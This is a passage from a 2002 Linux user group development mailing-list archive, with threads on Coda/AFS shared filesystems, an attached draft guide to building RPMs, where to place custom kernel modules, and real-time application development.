liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Wed Feb 20 13:05:51 2002 Received: from mail4.nc.rr.com ([24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA15959 for ; Wed, 20 Feb 2002 13:05:51 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 13:07:44 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1KI7Rx25009 for dev@trilug.org; Wed, 20 Feb 2002 13:07:27 -0500 (EST) (envelope-from brent) Date: Wed, 20 Feb 2002 13:07:27 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] reading circle meeting location Message-ID: <20020220180727.GA24768@rcfile.org> References: <20020220054853.GB78572@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-20 10:32] Jeremy P said: | On Wed, 20 Feb 2002, Brent Verner wrote: | | > Durham/Chapel Hill: | > Go East on I-40 ??? | > Take RALEIGH CHAPEL HILL EXWY. 2.3 | > Take the BLUE RIDGE RD exit. 0.2 | [etc] | | Good luck finding the "RALEIGH CHAPEL HILL EXWY" There's NEVER been a | road called that. I think it's referring to Wade Ave, which was once | called the "Wade Ave. Extension" and before that called "I-40" (before | I-40 was built around the south of Raleigh). Mapquest is sometimes a | little screwed up. My apologies. I thought that street name looked strange, but I wasn't sure of that road's name. I am the worst person to ask for directions, rarely associating a path I travel with the names of the roads travelled. I drive "by feel" in familiar territory and "Nft overhead view" in less commonly travelled paths. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From lovelace@wayfarer.org Wed Feb 20 15:30:06 2002 Received: from maddux.wayfarer.org (wayfarer.org [4.18.171.141]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id PAA16871 for ; Wed, 20 Feb 2002 15:30:05 -0500 Received: (qmail 15680 invoked by uid 401); 20 Feb 2002 20:31:47 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 20 Feb 2002 20:31:47 -0000 Subject: Re: [Dev] coda filesystems From: Tanner Lovelace To: dev@trilug.org Cc: trilug@trilug.org In-Reply-To: <20020220080308.GA79295@rcfile.org> References: <20020220071943.GA79204@rcfile.org> <20020220080308.GA79295@rcfile.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-uhgkv/ZTBwoc+BaGS4zf" X-Mailer: Evolution/1.0.21mdk Date: 20 Feb 2002 15:31:00 -0500 Message-Id: <1014237060.5310.1429.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-uhgkv/ZTBwoc+BaGS4zf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Please note that I've redirected this to the main trilug list since this is not properly a development question, but more of a general linux filesystem question and more people there might have more ideas (as Chris suggested): On Wed, 2002-02-20 at 03:03, Brent Verner wrote: > [2002-02-20 02:45] Tanner Lovelace said: > | On Wed, 20 Feb 2002, Brent Verner wrote: > |=20 > | > Do any of you have any experience using coda filesystems? More > |=20 > | I've been playing around with it a bit. >=20 > cool deal! >=20 > | > specifically, can the coda filesystem be used to 'mount' single > | > files in an otherwise non-coda directory? > |=20 > | No, I don't believe so. Coda requires a partition that > | it can use for it's own stuff and it doesn't store the > | files there like you would expect but more like a database > | would store stuff. >=20 > Yeah, I just got read an overview of the client-server protocol > and inferred this fact. >=20 > | For example, on the system I've been working with, > | the clients mount the coda filesystem at /coda. Under > | there, I have a directory called /coda/users/lovelace. > | This is the same on whatever client I want to use. > | I have a file who's full path is /coda/users/lovelace/test. > | On the server itself, that file is located at > | /vicepa/0/0/74. Coda manages the translation from > | it's setup to the user viewed filesystem. >=20 > right. this is similar to what I would like to do. I was > thinking of mounting the clients at /.coda and symlinking=20 > the files I need 'shared' from their system locations. That is certainly doable. UNC Computer Science department does something like this for their setup (only with AFS, not coda). =20 > | The reason it's setup like this is so it can do all > | the cool stuff like disconnected operation, replication, > | real-time backups, etc... > |=20 > | One other thing. Getting a coda server up and running > | is not for the faint of heart. It really helps if you > | have a good knowledge of how AFS (the predecessor to Coda) > | works beforehand. >=20 > Specifically, what I'm looking to do is work around the > lack of proper federated-auth-mechanism support across=20 > multiple systems -- linux, *bsd. I intend to have all > account info in a PG database on one machine, and have=20 > a coda server on that machine present the appropriate > files used by the getgr* and getpw* functions. If all=20 > this goes well, I'll implement a similar system to ease > the hassle of maintaining multiple proftpd passwd/group > files for our multi-virtualhost ftp set up at work -- I > absolutely _loathe_ having to figure out /which/ passwd > file has to be updated with the current system; there > must be a less error-prone/painful solution, and maybe > a coda hack will be that ;-) >=20 Hmm... that sounds eminently doable. Let me try to describe how one particular setup at unc works. This is a section of the file system setup for people to install whatever software they want (for multiple different achitectures). Each computer has a section called /usr/local/contrib/moderated. People in the right group can install software there. /usr/local/contrib/moderated on each computer (linux, sgi, sun, hp, etc..) is a soft link to /var/contrib/pathname. In the /var/contrib/ directory, there are 3 links. ro/ points to a read-only copy of the files and rw/ points to a read-write copy of the files (so the files can be updated and not break installed systems). =20 /var/contrib/pathname normally points to ro/ but can be changed to rw/ if needed for a particular installation method. Okay, so ro and rw point to specific places in afs space. ro points to=20 /afs/cs.unc.edu/project/contrib/moderated/ where is the appropriate architecture for the machine in question. Note that this is set by afs permissions to be read only. rw/ points to a read-write copy that can be copied over to the read-only version using an afs release mechanism. The different architectures it supports at the=20 moment are=20 common - for non-architecture specific files hp - hp computers hp64 - hp 64 bit computers linux - linux computers mips - mips computers sgi - sgi computers (at least R5k) sgi-mips4 - sgi computers before R5k (instruction set changed, I think) solaris - Sun Solaris sparc - Sun Sparc stations Each architecture specific directory has the normal setup of bin/ lib/ share/ etc... with links from there to the appropriate directories in common for things like share and info that don't change across different architectures. So, each computer can just consider=20 /usr/local/contrib/moderated/{bin,lib,share,man,info,etc...} to be the normal directory it looks for things in and everything is taken care of in afs space. Since it's in afs space, afs handles the authentication for access through its central authentication servers. Since coda is fairly similar to AFS (being its *direct* descendent) I would think this would work very well with coda instead of afs. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-uhgkv/ZTBwoc+BaGS4zf Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8dAeEzglPjt52OdQRAmSBAKCwmD0vnOpMEyETPk99aFPzqS+Z4wCeNaaZ CVP1cnJYNi5K0FCvsa6VnfE= =W9w8 -----END PGP SIGNATURE----- --=-uhgkv/ZTBwoc+BaGS4zf-- From tbryan@python.net Wed Feb 20 21:03:46 2002 Received: from Mail6.nc.rr.com ([24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA18725 for ; Wed, 20 Feb 2002 21:03:46 -0500 Received: from there ([66.26.88.175]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Feb 2002 21:05:17 -0500 From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] rob's rpm doc Date: Wed, 20 Feb 2002 22:13:32 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_K6DUY6MV3SKC5EGWQH4G" Message-ID: <0d99b1705021522FE6@Mail6.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --------------Boundary-00=_K6DUY6MV3SKC5EGWQH4G Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Wednesday 20 February 2002 07:28 pm, John F Davis wrote: > I have to build some rpm's again at work. I saw Rob had written a document > on building RPM's. Before I start another RPM building endeavor I would > like to read what he has written. Anybody know where I can get a copy? You should probably contact Rob directly for the final version. I've attached a preliminary draft he sent me and some others for proofing. I haven't heard from him since he left the trilug list, but I think that he intended to release it under an open license. ---Tom --------------Boundary-00=_K6DUY6MV3SKC5EGWQH4G Content-Type: text/plain; charset="iso-8859-1"; name="buildrpm.orig" Content-Transfer-Encoding: base64 Content-Description: RPM HOWTO Content-Disposition: attachment; filename="buildrpm.orig" KiBPdmVydmlldyAtLSBidWlsZGluZyBSUE1zDQoNCiAgVGhpcyBkb2N1bWVudCBkZXNjcmliZXMs IHVzaW5nIGEgY29uY3JldGUgZXhhbXBsZSwgaG93IHRvDQpidWlsZCBzaW1wbGUgbm9hcmNoLCBi aW5hcnkgYW5kIHNvdXJjZSBSUE1zLg0KDQogIEEgImJpbmFyeSIgUlBNIHdpbGwgdHlwaWNhbGx5 IGhhdmUgYSBuYW1lIGxpa2UNCiJteXByb2dzLTMuNC01LmkzODYucnBtLCIgbWVhbmluZyBpdCBj b3JyZXNwb25kcyB0byB0aGUNCiJteXByb2dzIiBwYWNrYWdlLCB2ZXJzaW9uIDMuNCwgYnVpbGQg cmVsZWFzZSA1LCBhbmQNCmJ1aWx0IGZvciB0aGUgaTM4NiBhcmNoaXRlY3R1cmUuICBTdWNoIGFu IFJQTSB3b3VsZCB0eXBpY2FsbHkNCmNvbnRhaW4gb25lIG9yIG1vcmUgY29tcGlsZWQgKG9yIGJp bmFyeSkgZXhlY3V0YWJsZXMsIGFuZA0Kd291bGQgdXN1YWxseSBpbnN0YWxsIHRob3NlIGV4ZWN1 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IG9mIA0KZmVsaW5lIGltYWdlcyBpbiB2YXJpb3VzIGdyYXBoaWNzIGZvcm1hdHMsIGFsb25nIHdp dGggYQ0KY291cGxlIG9mIGRvY3VtZW50YXRpb24gZmlsZXMuDQoNCiVwcmVwDQolc2V0dXAgLXEN CmNwIC9ldGMvTElDRU5TRSAuDQpjcCAvZXRjL3BpY3NydXMuanBnIHBpY3MNCg0KJWJ1aWxkDQpl eGl0IDANCg0KJWluc3RhbGwNCnJtIC1yZiAke1JQTV9CVUlMRF9ST09UfQ0KDQpta2RpciAtcCAk e1JQTV9CVUlMRF9ST09UfS91c3IvbG9jYWwvY2F0cGljcw0KY3AgcGljcy8qICR7UlBNX0JVSUxE X1JPT1R9L3Vzci9sb2NhbC9jYXRwaWNzDQp0b3VjaCAke1JQTV9CVUlMRF9ST09UfS9CT0dVUw0K DQolY2xlYW4NCiMgcm0gLXJmICR7UlBNX0JVSUxEX1JPT1R9DQoNCiVmaWxlcw0KJWRlZmF0dHIo LSxyb290LHJvb3QpDQovdXNyL2xvY2FsL2NhdHBpY3MNCiVkb2MgUkVBRE1FIEFSVElTVFMgTElD RU5TRQ0K --------------Boundary-00=_K6DUY6MV3SKC5EGWQH4G-- From johndavi@us.ibm.com Thu Feb 21 09:49:06 2002 Received: from e23.esmtp.ibm.com (e23.nc.us.ibm.com [32.97.136.229]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA28548 for ; Thu, 21 Feb 2002 09:49:06 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e23.esmtp.ibm.com (8.9.3/8.9.3) with ESMTP id IAA58488 for ; Thu, 21 Feb 2002 08:47:36 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1LEonS208934 for ; Thu, 21 Feb 2002 09:50:49 -0500 Importance: Normal Sensitivity: To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 21 Feb 2002 09:50:46 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/21/2002 09:50:49 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] module location Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello At work we debating the location of module files. We are building some custom modules and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc dir. Especially since we can have more than one version of the module. Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? JD From david@cafaro.net Thu Feb 21 10:06:56 2002 Received: from c007.snv.cp.net (c007-h015.c007.snv.cp.net [209.228.33.222]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id KAA28834 for ; Thu, 21 Feb 2002 10:06:55 -0500 Received: (cpmta 11041 invoked from network); 21 Feb 2002 07:08:28 -0800 Received: from 68.55.232.209 (HELO kara.cafaro.net) by smtp.cafaro.net (209.228.33.222) with SMTP; 21 Feb 2002 07:08:28 -0800 X-Sent: 21 Feb 2002 15:08:28 GMT Message-Id: <5.1.0.14.0.20020221100356.00ad9380@mail.cafaro.net> X-Sender: david@mail.cafaro.net X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 21 Feb 2002 10:07:45 -0500 To: dev@trilug.org From: "David A. Cafaro" Subject: Re: [Dev] module location In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Are they kernel modules or modules for other software? For example Apache modules go into /etc/httpd/modules (well the symlink to /usr/lib/apache). I'm not an expert but I would guess you could put them anywhere as long as your software knows how (where) to find them. David At 09:50 AM 2/21/2002, you wrote: >Hello > >At work we debating the location of module files. We are building some >custom modules >and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc >dir. Especially since >we can have more than one version of the module. > >Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? > >JD > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev From dac@cafaro.net Thu Feb 21 10:07:29 2002 Received: from c007.snv.cp.net (c007-h011.c007.snv.cp.net [209.228.33.217]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id KAA28855 for ; Thu, 21 Feb 2002 10:07:28 -0500 Received: (cpmta 16531 invoked from network); 21 Feb 2002 07:09:02 -0800 Received: from 68.55.232.209 (HELO kara.cafaro.net) by smtp.cafaro.net (209.228.33.217) with SMTP; 21 Feb 2002 07:09:02 -0800 X-Sent: 21 Feb 2002 15:09:02 GMT Message-Id: <5.1.0.14.0.20020221100800.0336be88@mail.cafaro.net> X-Sender: david@mail.cafaro.net (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 21 Feb 2002 10:08:11 -0500 To: dev@trilug.org From: "David A. Cafaro" Subject: Re: [Dev] module location Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Are they kernel modules or modules for other software? For example Apache modules go into /etc/httpd/modules (well the symlink to /usr/lib/apache). I'm not an expert but I would guess you could put them anywhere as long as your software knows how (where) to find them. David At 09:50 AM 2/21/2002, you wrote: >Hello > >At work we debating the location of module files. We are building some >custom modules >and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc >dir. Especially since >we can have more than one version of the module. > >Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? > >JD > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev From johndavi@us.ibm.com Thu Feb 21 10:29:05 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA28959 for ; Thu, 21 Feb 2002 10:29:04 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id JAA109372 for ; Thu, 21 Feb 2002 09:26:06 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1LFV7S225008 for ; Thu, 21 Feb 2002 10:31:08 -0500 Importance: Normal Sensitivity: Subject: Re: [Dev] module location To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 21 Feb 2002 10:31:05 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/21/2002 10:31:07 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Are the apache modules soemthing that you insmod? These are insmod modules (device drivers). JD "David A. Cafaro" @trilug.org on 02/21/2002 10:07:45 AM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] module location Are they kernel modules or modules for other software? For example Apache modules go into /etc/httpd/modules (well the symlink to /usr/lib/apache). I'm not an expert but I would guess you could put them anywhere as long as your software knows how (where) to find them. David At 09:50 AM 2/21/2002, you wrote: >Hello > >At work we debating the location of module files. We are building some >custom modules >and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc >dir. Especially since >we can have more than one version of the module. > >Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? > >JD > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From mike@enoch.org Thu Feb 21 10:43:26 2002 Received: from fiend.enoch.org (fiend.enoch.org [24.162.238.9]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA29047 for ; Thu, 21 Feb 2002 10:43:25 -0500 Received: by fiend.enoch.org (Postfix, from userid 1000) id 7879F820; Thu, 21 Feb 2002 10:51:47 -0500 (EST) Date: Thu, 21 Feb 2002 10:51:47 -0500 From: Mike Johnson To: dev@trilug.org Subject: Re: [Dev] module location Message-ID: <20020221155147.GU5808@enoch.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Z1Z8UV8BNhgCynIS" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --Z1Z8UV8BNhgCynIS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable John F Davis [johndavi@us.ibm.com] wrote: > Hello >=20 > At work we debating the location of module files. We are building some > custom modules > and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc > dir. Especially since > we can have more than one version of the module. Well, what do they do? There's a bunch of module 'types' in /lib/modules/2.4.x/kernel/drivers/ =20 > Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? Yeah, actually. The wireless LAN drivers can be used without being installed in the 'main' modules directory. =20 It's non-standard to not put them in the main modules directory, but certainly doable. Mike --=20 "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint =3D ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key =3D http://www.enoch.org/mike/mike.pubkey.asc --Z1Z8UV8BNhgCynIS Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (OpenBSD) Comment: For info see http://www.gnupg.org iD8DBQE8dReSicTfml3dldERAvJrAJ9yHz7Db16HN4M4Rk1DpDCzsLkD0QCgndh1 l1vpSrJ9FK0soBnloUIeT34= =g8T/ -----END PGP SIGNATURE----- --Z1Z8UV8BNhgCynIS-- From bhu5nji@yahoo.com Thu Feb 21 10:47:51 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA29083 for ; Thu, 21 Feb 2002 10:47:51 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 16dvTm-00035P-00 for dev@trilug.org; Thu, 21 Feb 2002 10:49:54 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] module location Date: Thu, 21 Feb 2002 10:46:35 -0500 X-Mailer: KMail [version 1.3.1] References: <20020221155147.GU5808@enoch.org> In-Reply-To: <20020221155147.GU5808@enoch.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I would research the dependance of tools like depmod to function as expected if a kernel module were placed outside the /lib/modules/....... path. Mike M. On Thursday 21 February 2002 10:51 am, you wrote: > John F Davis [johndavi@us.ibm.com] wrote: > > Hello > > > > At work we debating the location of module files. We are building some > > custom modules > > and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc > > dir. Especially since > > we can have more than one version of the module. > > Well, what do they do? There's a bunch of module 'types' in > /lib/modules/2.4.x/kernel/drivers/ > > > Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? > > Yeah, actually. The wireless LAN drivers can be used without being > installed in the 'main' modules directory. > > It's non-standard to not put them in the main modules directory, but > certainly doable. > > Mike From johndavi@us.ibm.com Thu Feb 21 11:02:58 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA29260 for ; Thu, 21 Feb 2002 11:02:58 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA47672 for ; Thu, 21 Feb 2002 10:00:00 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1LG51S107376 for ; Thu, 21 Feb 2002 11:05:01 -0500 Importance: Normal Sensitivity: To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 21 Feb 2002 11:04:59 -0500 Subject: Re: [Dev] module location X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/21/2002 11:05:01 AM MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=0ABBE1F4DFCBDF968f9e8a93df938690918c0ABBE1F4DFCBDF96" Content-Disposition: inline Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --0__=0ABBE1F4DFCBDF968f9e8a93df938690918c0ABBE1F4DFCBDF96 Content-type: text/plain; charset=us-ascii Well here's the deal. We build these modules and insmod them all day long using this type syntax, insmod ./foo.o or insmod versionx/foo.o or versiony/foo.o Which is perfectly cool. As an alternative you can have foo_pristine.o and foo_extra_printks_included.o Then insmod foo_pristine and insmod foo_extra_prints_included But if you don't change the names then you can't have two different versions. insmod foo and insmod foo I'm thinking I'm going to do this one the way my buddy wants, even though its more work for me. Which also means that the user cant have two differnt versions laying around as a result of my build scripts. JD Mike Johnson @trilug.org on 02/21/2002 10:51:47 AM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] module location John F Davis [johndavi@us.ibm.com] wrote: > Hello > > At work we debating the location of module files. We are building some > custom modules > and I'm thinking that they don't need to be in the lib/modules/2.4.x/misc > dir. Especially since > we can have more than one version of the module. Well, what do they do? There's a bunch of module 'types' in /lib/modules/2.4.x/kernel/drivers/ > Has anybody ever seen a module outside the lib/modules/2.4.x filesystem? Yeah, actually. The wireless LAN drivers can be used without being installed in the 'main' modules directory. It's non-standard to not put them in the main modules directory, but certainly doable. Mike -- "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint = ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key = http://www.enoch.org/mike/mike.pubkey.asc --0__=0ABBE1F4DFCBDF968f9e8a93df938690918c0ABBE1F4DFCBDF96 Content-type: application/octet-stream; name="C.DTF" Content-Disposition: attachment; filename="C.DTF" Content-transfer-encoding: base64 LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEdudVBHIHYxLjAuNiAoT3Bl bkJTRCkNCkNvbW1lbnQ6IEZvciBpbmZvIHNlZSBodHRwOi8vd3d3LmdudXBnLm9yZw0KDQppRDhE QlFFOGRSZVNpY1RmbWwzZGxkRVJBdkpyQUo5eUh6N0RiMTZITjRNNFJrMURwREN6c0xrRDBRQ2du ZGgxDQpsMXZwU3JKOUZLMHNvQm5sb1VJZVQzND0NCj1nOFQvDQotLS0tLUVORCBQR1AgU0lHTkFU VVJFLS0tLS0NCg0K --0__=0ABBE1F4DFCBDF968f9e8a93df938690918c0ABBE1F4DFCBDF96-- From bhu5nji@yahoo.com Sat Feb 23 15:50:50 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA14091 for ; Sat, 23 Feb 2002 15:50:50 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16ejA4-0007n5-00 for dev@trilug.org; Sat, 23 Feb 2002 15:52:52 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Sat, 23 Feb 2002 15:49:21 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Interest in r-t app development in GNU/Linux Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Is anyone one the list interested in discussing and sharing code for non-blocking I/O and/or IPC and/or pthreaded and/or fat-process real-time apps in a GNU/Linux environment? -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From prhodes@vdsinc.com Sat Feb 23 22:41:42 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA15791 for ; Sat, 23 Feb 2002 22:41:42 -0500 From: 